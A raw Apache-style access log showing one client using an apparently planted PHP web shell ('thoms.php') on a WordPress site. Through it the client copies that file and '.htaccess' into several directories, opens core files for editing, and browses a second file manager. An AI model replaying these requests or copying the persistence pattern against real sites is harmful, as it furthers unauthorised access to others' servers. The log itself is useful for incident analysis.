45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p= HTTP/1.1" 200 12263 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19891 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 12857 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 16428 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p= HTTP/1.1" 200 12295 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20054 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20047 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20055 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 12298 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20176 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /big-wife.com.tw/wp-includes/?ND= HTTP/1.1" 200 9267 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?edit=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 22266 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 25914 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /big-wife.com.tw/wp-includes/?SA= HTTP/1.1" 200 9305 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:34 -0400] "GET /big-wife.com.tw/wp-includes/?MA= HTTP/1.1" 200 9349 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 12790 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 16358 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p= HTTP/1.1" 200 12302 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20261 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20260 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /big-wife.com.tw/text-kernel/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&location=%2Fhome%2F HTTP/1.1" 200 5828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /big-wife.com.tw/text-kernel/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 6474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /big-wife.com.tw/text-kernel/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 6558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:35 -0400] "GET /big-wife.com.tw/text-kernel/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 28475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 6617 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8004 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10668 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&option=folder HTTP/1.1" 200 6484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&location=%2F HTTP/1.1" 200 7892 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
